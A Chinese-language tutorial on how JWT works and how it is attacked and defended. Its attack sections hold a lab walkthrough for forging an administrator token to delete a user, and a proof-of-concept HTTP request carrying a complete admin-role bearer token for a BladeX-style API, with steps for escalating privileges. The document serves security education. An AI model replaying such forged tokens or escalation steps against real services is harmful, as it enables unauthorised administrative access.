JSON Web Token (JWT) 原理与安全实践

1. JWT 概述

JSON Web Token (JWT) 是一种开放标准 (RFC 7519)，用于在各方之间作为 JSON 对象安全地传输信息。JWT 可以被验证和信任，因为它是经过数字签名的。

1.1 JWT 的主要用途

• 身份验证：最常见的用途，用户登录后获取 JWT，后续请求携带该令牌
• 信息交换：安全地在各方之间传输信息

2. JWT 结构

JWT 由三个部分组成，用点号 (.) 分隔：

1. Header (头部)
2. Payload (负载)
3. Signature (签名)

格式：Header.Payload.Signature

2.1 Header (头部)

包含令牌类型和签名算法，例如：

{
  "alg": "HS256",
  "typ": "JWT"
}

• alg：签名算法 (如 HS256、RS256 或 none)
• typ：令牌类型，固定为 "JWT"

2.2 Payload (负载)

包含声明 (claims)，即关于实体和其他数据的声明。声明分为三类：

1. Registered claims (注册声明)：预定义的声明，如：

   • iss (issuer)：签发者
   • exp (expiration time)：过期时间
   • sub (subject)：主题
   • aud (audience)：受众
   • iat (issued at)：签发时间
   • nbf (not before)：生效时间

2. Public claims (公共声明)：可以自定义，但应避免冲突

3. Private claims (私有声明)：自定义声明，用于在同意使用它们的各方之间共享信息

示例：

{
  "sub": "1234567890",
  "name": "John Doe",
  "iat": 1516239022
}

2.3 Signature (签名)

用于验证消息在传输过程中未被篡改。签名生成方式取决于头部指定的算法。

对于 HMAC SHA256 (HS256)：

HMACSHA256(
  base64UrlEncode(header) + "." + base64UrlEncode(payload),
  secret
)

3. Base64Url 编码

Base64Url 是 Base64 的变体，专为 URL 和文件名设计：

• 字符集不同：
  • 标准 Base64 使用 + 和 /
  • Base64Url 使用 - 和 _ (避免 URL 特殊字符问题)
• 去掉填充字符 =

4. JWT 工作流程

1. 用户登录：用户提交凭证 (用户名/密码)
2. 生成 JWT：服务器验证凭证后生成 JWT
3. 返回 JWT：服务器将 JWT 返回客户端 (存储在 LocalStorage 或 Cookie)
4. 携带 JWT 请求：客户端在请求头中携带 JWT (Authorization: Bearer <token>)
5. 验证 JWT：服务器验证签名和声明
6. 响应请求：验证通过后处理请求

5. JWT 安全攻防

5.1 常见攻击方法

1. 暴力破解签名密钥

   • 针对弱密钥进行暴力破解
   • 防御：使用强密钥

2. 算法替换攻击 (Algorithm Confusion)

   • 修改 alg 为 none 绕过签名验证
   • 防御：严格验证 alg 字段

3. 伪造 Token

   • 对称加密算法 (如 HS256) 密钥泄露后伪造 JWT
   • 防御：使用非对称加密 (如 RS256)

4. 密钥泄露

   • 通过信息泄露获取签名密钥
   • 防御：保护密钥安全，定期更换

5.2 靶场示例

场景：通过未经验证的签名绕过 JWT 身份验证

1. 使用已知凭证登录 (如 wiener:peter)
2. 访问 /admin 页面被拒绝
3. 修改 JWT 中 Payload 的 user_name 为 administrator
4. 重新签名或利用算法漏洞绕过验证
5. 访问 /admin/delete?username=carlos 删除用户

5.3 实战 POC 分析

示例请求：

GET /api/blade-user/info HTTP/1.1
Host: ***
Blade-Auth: bearer eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ0ZW5hbnRfaWQiOiIwMDAwMDAiLCJ1c2VyX25hbWUiOiJhZG1pbiIsInJlYWxfbmFtZSI6IueuoeeQhuWRmCIsImF1dGhvcml0aWVzIjpbImFkbWluaXN0cmF0b3IiXSwiY2xpZW50X2lkIjoic2FiZXIiLCJyb2xlX25hbWUiOiJhZG1pbmlzdHJhdG9yIiwibGljZW5zZSI6InBvd2VyZWQgYnkgYmxhZGV4IiwicG9zdF9pZCI6IjExMjM1OTg4MTc3Mzg2NzUyMDEiLCJ1c2VyX2lkIjoiMTEyMzU5ODgyMTczODY3NTIwMSIsInJvbGVfaWQiOiIxMTIzNTk4ODE2NzM4Njc1MjAxIiwic2NvcGUiOlsiYWxsIl0sIm5pY2tfbmFtZSI6IueuoeeQhuWRmCIsIm9hdXRoX2lkIjoiIiwiZGV0YWlsIjp7InR5cGUiOiJ3ZWIifSwiYWNjb3VudCI6ImFkbWluIn0.RtS67Tmbo7yFKHyMz_bMQW7dfgNjxZW47KtnFcwItxQ

Payload 解析：

{
  "tenant_id": "000000",
  "user_name": "admin",
  "real_name": "管理员",
  "authorities": ["administrator"],
  "client_id": "saber",
  "role_name": "administrator",
  "license": "powered by bladex",
  "post_id": "1123598817738675201",
  "user_id": "1123598821738675201",
  "role_id": "1123598816738675201",
  "scope": ["all"],
  "nick_name": "管理员",
  "oauth_id": "",
  "detail": { "type": "web" },
  "account": "admin"
}

攻击思路：

1. 获取有效 JWT
2. 修改 Payload 中的权限相关字段
3. 尝试重新签名或利用算法漏洞
4. 发送修改后的 JWT 获取管理员权限

6. 防御措施

1. 使用强密钥：足够长且复杂的签名密钥
2. 严格验证算法：拒绝 none 算法，验证 alg 字段
3. 使用非对称加密：如 RS256 (公钥验证，私钥签名)
4. 定期更换密钥：减少密钥泄露风险
5. 设置合理过期时间：缩短 JWT 有效期
6. 敏感操作二次验证：关键操作要求重新认证
7. 黑名单机制：对已撤销但未过期的令牌进行管理

7. 实用工具

• JWT 在线解析/构造：https://jwt.io/
• Burp Suite 插件：JWT Editor 等

8. 总结

JWT 提供了简洁、自包含的身份验证机制，但同时也存在多种安全风险。开发人员应充分理解 JWT 的工作原理，实施适当的安全措施，避免常见漏洞。安全团队则应熟悉 JWT 的攻击面，能够有效测试和防御相关风险。